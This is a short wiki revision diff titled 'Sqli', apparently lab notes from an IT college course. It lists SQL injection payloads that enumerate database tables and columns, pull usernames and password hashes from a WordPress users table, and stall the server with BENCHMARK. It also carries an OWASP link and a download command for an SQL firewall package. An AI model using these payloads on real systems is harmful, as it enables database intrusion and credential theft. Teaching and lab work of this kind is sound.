Sqli: Difference between revisions

From ICO wiki
Jump to navigationJump to search
No edit summary
No edit summary
 
(2 intermediate revisions by the same user not shown)
Line 10: Line 10:


1' union SELECT 1,BENCHMARK(100000000,ENCODE('hello','goodbye')); -- #
1' union SELECT 1,BENCHMARK(100000000,ENCODE('hello','goodbye')); -- #


</pre>
</pre>
https://www.owasp.org/index.php/HttpOnly
SQL firewall -
<source lang="bash">
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb
</source>

Latest revision as of 16:58, 28 February 2013

1' union select TABLE_SCHEMA,TABLE_NAME  from information_schema.tables; -- # 

1' union select TABLE_NAME,COLUMN_NAME  from information_schema.columns; -- #


1' union select user_login,user_pass  from wp.wp_users; -- #

wp.wp_users

1' union SELECT 1,BENCHMARK(100000000,ENCODE('hello','goodbye')); -- #



https://www.owasp.org/index.php/HttpOnly

SQL firewall -

wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb